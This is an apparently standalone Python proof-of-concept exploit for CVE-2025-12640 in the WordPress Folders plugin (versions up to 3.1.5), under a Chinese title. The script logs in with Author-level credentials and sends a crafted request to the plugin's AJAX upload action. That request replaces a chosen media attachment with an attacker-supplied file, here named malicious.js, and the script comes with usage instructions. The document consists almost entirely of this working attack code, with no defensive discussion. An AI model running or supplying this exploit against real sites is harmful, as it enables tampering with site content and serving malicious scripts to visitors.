CVE-2025-12640 WordPress Folders插件未授权媒体文件替换漏洞

import requests import sys from urllib.parse import urlencode # CVE-2025-12640 PoC - Unauthorized Media Replacement # Target: WordPress Folders Plugin <= 3.1.5 def exploit_cve_2025_12640(target_url, username, password, target_attachment_id, malicious_file_path): """ Exploit for CVE-2025-12640: Unauthorized Arbitrary Media Replacement Args: target_url: Target WordPress site URL username: WordPress user with Author-level access password: User password target_attachment_id: ID of the media file to replace malicious_file_path: Path to the malicious file to upload """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Read malicious file content try: with open(malicious_file_path, 'rb') as f: file_content = f.read() except Exception as e: print(f"[-] Failed to read malicious file: {e}") return False # Step 3: Exploit the vulnerability via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious file for upload files = { 'file': ('malicious.js', file_content, 'application/javascript') } # Key parameter: folder_id with target attachment ID data = { 'action': 'folders_handle_file_upload', 'folder_id': target_attachment_id, # Target attachment ID to replace 'is_featured': '0', 'post_id': '0' } response = session.post(ajax_url, data=data, files=files) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') != -1 else response.text print(f"[+] Exploitation attempt completed") print(f"[+] Response: {result}") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <attachment_id> <malicious_file>") print(f"Example: python {sys.argv[0]} http://target.com admin password 123 malicious.js") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] attachment_id = sys.argv[4] malicious_file = sys.argv[5] exploit_cve_2025_12640(target_url, username, password, attachment_id, malicious_file)